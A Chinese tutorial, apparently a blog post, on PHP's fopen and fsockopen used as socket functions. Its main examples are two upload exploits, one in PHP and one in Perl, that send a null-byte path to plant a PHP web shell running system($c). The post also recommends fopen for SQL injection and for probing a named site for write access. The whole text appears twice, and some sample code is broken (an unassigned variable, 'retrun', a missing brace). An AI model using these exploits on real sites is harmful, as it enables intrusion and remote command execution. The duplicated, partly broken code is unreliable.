1.fopen的应用
fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。
fopen的使用方法
$s = fopen ($url, mode);
fopen的MODE属性:
mode 说明
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
即用于本地文件的操作,也可以用于INET。是不是很KOOL?
假如要测试一个站的IIS目录是不是有写权限。
可以这样写
$s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)
如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。
但是一般的网站都是只读权限的
$s =fopen("http://www.bugkidz.org/index.php?id=1","r");
这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容
这样
while (!feof($s)) {
echo fgets($s, 1024);
}
我认为FOPEN用于SQL INJECTION是最方便不过的了。
引用
function phpinet($url)
{
fopen($url,"r") or die("打开URL错误");
$cahe = "";
while (!feof($s)) {
$cahe .= fgets($s, 1024);
}
retrun $cahe;
fclose($s);
}
这段函数等同于VB中的inet.openurl
Fsockopen等函数的使用
fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.
这样使用fsockopen
resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])
例子:
$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);
前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.
通常$sock = fsockopen("192.168.0.1",80);这样即可.
$sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来
$sock = fsockopen("udp://192.168.0.1",53);
用这个来写一个TFTP的客户端也是可以的.
fsockopen的应用实例:
实例一,简单的HTTP会话.
代码
<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
流程一般是这样的
建立fsockopen资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen资源.
ANGEL写了一个PHP的端口扫描工具,贴出之
http://www.4ngel.net/article/20.htm
选择fsockopen来写简单EXP发送框架绝对是个goodidea.becozit'ssoeasy.
看我的PHP上传漏洞的exp.
代码
引用
<?php
#MSN:Cqxy[at]21cn.net
$sock = fsockopen("www.ririririri.com",80);
if (!$sock)
{ echo "CANNOT CONNECT IT!";
}
$body = "-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"<?php\r\n".
"system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";
$header ="POST /index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: strlen($body)\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n";
fputs($sock,$header);
sleep(1);
fputs($sock,$body);
while (!feof($sock))
{
echo fgets($sock,128);
}
fclose($sock);
?>
再来看XIAOLU用PERL写的exp
代码
引用
#!/usr/bin/perl
$| = 1;
use Socket;
$host = "127.0.0.1";
$port = "80";
$UploadTo = "";
$str =
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"<?php\r\n".
"system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";
print $str;
$len=length($str);
print $len;
$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n".
"$str\r\n\r\n";
print $req;
@res = sendraw($req);
print @res;
#Hmm...Maybe you can send it by other way
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
else {
die("Can't connect...\n");
}
谁更简单,一目了然.
到这里可能大家对fsockopen的使用有一定了解了.
下次该谈php-sockets高级编程.一个更强大的PHP将惊现在面前
前面一段谈到命令行方式的运行。更多请参照 [url=http://www.php.net/manual/zh/features.commandline.php]http://www.php.net/manual/zh/features.commandline.php[/url] 1.fopen的应用 fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。 fopen的使用方法 $s = fopen ($url, mode); fopen的MODE属性: mode 说明 'r' 只读方式打开,将文件指针指向文件头。 'r+' 读写方式打开,将文件指针指向文件头。 'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 即用于本地文件的操作,也可以用于INET。是不是很KOOL?假如要测试一个站的IIS目录是不是有写权限。可以这样写 $s = fopen("[url=http://www.bugkidz.org]http://www.bugkidz.org","x+"[/url]) or die(“不存在写权限”) 如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。但是一般的网站都是只读权限的 $s =fopen("[url=http://www.bugkidz.org/index.php?id=1]http://www.bugkidz.org/index.php?id=1","r"[/url]); 这样就读入了[url=http://www.bugkidz.org/index.php?id=1]http://www.bugkidz.org/index.php?id=1[/url]的内容,但是还得经过处理才能获取完整的文件内容这样 while (!feof($s)) { echo fgets($s, 1024); } 我认为FOPEN用于SQL INJECTION是最方便不过的了。 引用 function phpinet($url) { fopen($url,"r") or die("打开URL错误"); $cahe = ""; while (!feof($s)) { $cahe .= fgets($s, 1024); } retrun $cahe; fclose($s); } 这段函数等同于VB中的inet.openurl Fsockopen等函数的使用 fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.这样使用fsockopen resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]]) 例子: $sock = fsockopen("192.168.0.1",80,$errno,$errstr,30); 前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.通常$sock = fsockopen("192.168.0.1",80);这样即可. $sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来 $sock = fsockopen("udp://192.168.0.1",53); 用这个来写一个TFTP的客户端也是可以的. fsockopen的应用实例: 实例一,简单的HTTP会话. 代码 <?php $fp = fsockopen("[url=http://www.example.com]www.example.com"[/url], 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: [url=http://www.example.com/]www.example.com[/url]\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?> 流程一般是这样的建立fsockopen 资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen 资源.ANGEL写了一个PHP的端口扫描工具,贴出之 [url=http://www.4ngel.net/article/20.htm]http://www.4ngel.net/article/20.htm[/url] 选择fsockopen 来写简单EXP发送框架绝对是个goodidea.becoz it's so easy.看我的PHP上传漏洞的exp. 代码 引用 <?php #MSN:Cqxy[at]21cn.net $sock = fsockopen("[url=http://www.ririririri.com]www.ririririri.com",80[/url]); if (!$sock) { echo "CANNOT CONNECT IT!"; } $body = "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"path\"\r\n". "\r\n". "[url=http://www.ppp%00/]www.ppp%00[/url]\r\n". "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n". "Content-Type: text/plain\r\n". "\r\n". "<?php\r\n". "system($c);\r\n". "?>\r\n". "-----------------------------7d41f4a600472--\r\n". "\r\n"; $header ="POST /index.php?action=upload HTTP/1.1\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n". "Referer: [url=http://127.0.0.1/index.php?path=]http://127.0.0.1/index.php?path=[/url].\r\n". "Accept-Language: zh-cn\r\n". "Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n". "Host: 127.0.0.1\r\n". "Content-Length: strlen($body)\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n". "Cookie: PHPSESSID=111111111111111111111111\r\n". "\r\n"; fputs($sock,$header); sleep(1); fputs($sock,$body); while (!feof($sock)) { echo fgets($sock,128); } fclose($sock); ?> 再来看XIAOLU用PERL写的exp 代码 引用 #!/usr/bin/perl $| = 1; use Socket; $host = "127.0.0.1"; $port = "80"; $UploadTo = ""; $str = "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"path\"\r\n". "\r\n". "[url=http://www.ppp%00/]www.ppp%00[/url]\r\n". "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n". "Content-Type: text/plain\r\n". "\r\n". "<?php\r\n". "system($c);\r\n". "?>\r\n". "-----------------------------7d41f4a600472--\r\n". "\r\n"; print $str; $len=length($str); print $len; $req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n". "Referer: [url=http://127.0.0.1/index.php?path=]http://127.0.0.1/index.php?path=[/url].\r\n". "Accept-Language: zh-cn\r\n". "Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n". "Host: 127.0.0.1\r\n". "Content-Length: $len\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n". "Cookie: PHPSESSID=111111111111111111111111\r\n". "\r\n". "$str\r\n\r\n"; print $req; @res = sendraw($req); print @res; #Hmm...Maybe you can send it by other way sub sendraw { my ($req) = @_; my $target; $target = inet_aton($host) || die("inet_aton problems\n"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $req; my @res = <S>; select(STDOUT); close(S); return @res; else { die("Can't connect...\n"); } 谁更简单,一目了然.到这里可能大家对fsockopen 的使用有一定了解了.下次该谈php-sockets高级编程.一个更强大的PHP将惊现在面前
<script></script>
分享到:
相关推荐
编译 ./configure --prefix=/usr/local/php --exec-prefix=/usr/local/php --bindir=/usr/local/php/bin --sbindir=/usr/local/php/sbin --includedir=/usr/local/php/include --libdir=/usr/local/php/lib/php --...
编译 ./configure --prefix=/usr/local/php --exec-prefix=/usr/local/php --bindir=/usr/local/php/bin --sbindir=/usr/local/php/sbin --includedir=/usr/local/php/include --libdir=/usr/local/php/lib/php --...
编译 ./configure --prefix=/usr/local/php --exec-prefix=/usr/local/php --bindir=/usr/local/php/bin --sbindir=/usr/local/php/sbin --includedir=/usr/local/php/include --libdir=/usr/local/php/lib/php --...
sysvsem --enable-mbregex --enable-mbstring --enable-ftp --enable-gd-native-ttf --enable-pcntl --enable-sockets --with-xmlrpc --enable-soap --without-pear --with-gettext --enable-session --with-curl --...
编译 ./configure --prefix=/usr/local/php --exec-prefix=/usr/local/php --bindir=/usr/local/php/bin --sbindir=/usr/local/php/sbin --includedir=/usr/local/php/include --libdir=/usr/local/php/lib/php --...
编译 ./configure --prefix=/usr/local/php --exec-prefix=/usr/local/php --bindir=/usr/local/php/bin --sbindir=/usr/local/php/sbin --includedir=/usr/local/php/include --libdir=/usr/local/php/lib/php --...
#cd /usr/soft/php/ext/sockets (进入原php安装文件下的sockets目录) #/usr/local/php/bin/phpize (运行安装后的php安装文件下的phpize) #./configure –prefix=/usr/local/php/lib –with-...
PHP中的HTTP Class扩展了PHP的原生功能,允许开发者以编程方式发送HTTP请求,获取响应,并进行各种自定义设置,如添加请求头、设置超时、处理cookies等。 Curl是PHP中广泛使用的库,用于处理URLs。...
- `--enable-sockets`:启用socket支持,这对于网络编程非常重要。 - `--enable-mbstring=all`:启用多字节字符串支持,这对于处理非英文字符非常重要。 - `--enable-bcmath`:启用BC Math支持,这是一个高级数学库...
6. **网络通信库**:可能涉及到的PHP扩展,如sockets或curl,用于进行网络通信。 7. **多线程/并发处理**:在处理多个SIP事务时,理解并发和同步的概念。 8. **错误处理和调试**:通过日志文件学习如何调试PHP-SIP...
根据给定的文件信息,我们可以提炼出以下关于PHP编程的重要知识点: ### 1. PHP环境配置 在开始学习PHP编程之前,首先需要确保你的计算机上已经安装并正确配置了PHP环境。这通常涉及到将PHP安装目录(例如`C:\php`...
标签 "php" 指出这个项目与PHP编程语言相关,这意味着开发者需要对PHP的基本语法、面向对象编程以及可能的扩展库(如Sockets或cURL)有深入了解。 压缩包内的文件名称列表暗示了可能包含以下内容: - `fileinfo.txt...
1. **PHP Socket基础**:PHP中的Socket是基于底层的Berkeley Sockets API,允许PHP与任何支持TCP/IP、UDP等协议的网络服务进行交互。通过`socket_create()`创建套接字,`socket_bind()`绑定端口,`socket_listen()`...
- **SSL(Secure Sockets Layer)**:安全套接层协议,用于加密互联网上的数据传输,保障数据的安全性。 **2.10 设计模式** - **设计模式**:解决特定问题的一系列通用解决方案,如工厂模式、单例模式、观察者模式等...
在互联网编程中,源码可能是HTML、CSS、JavaScript或者服务器端语言(如PHP、Python、Java等)的代码。学习和分析源码有助于理解网络应用的工作原理,提高编程技能,以及快速解决问题。 3. **网络通信类**:这类...
- **libxml2**:这是一个C语言实现的XML解析器,支持多种编程语言。解压libxml2-2.7.8.tar.gz,进入目录并运行`./configure --prefix=/usr/local/libxml2/`,接着`make`和`make install`来编译和安装。 - **...
4. **套接字(Sockets)编程**:无论是易语言还是PHP,进行网络通信都需要使用套接字。套接字是操作系统提供的接口,用于进程间通信,特别是在不同计算机之间的网络通信。 5. **数据交互格式**:在PHP与易语言之间...
在本文中,我们将深入探讨如何使用PHP和Socket编程来实现文件的分段上传,并在此过程中添加进度条功能。首先,我们需要理解PHP Sockets的基本概念,然后我们将逐步介绍如何构建一个支持分段上传和进度显示的系统。 ...
在PHP中使用Socket编程,首先需要确保PHP环境支持Sockets扩展。这可以通过检查php.ini配置文件,开启相应的sockets扩展来实现。接下来,可以创建Socket服务器,这涉及到一系列步骤: - **创建Socket服务器**:使用...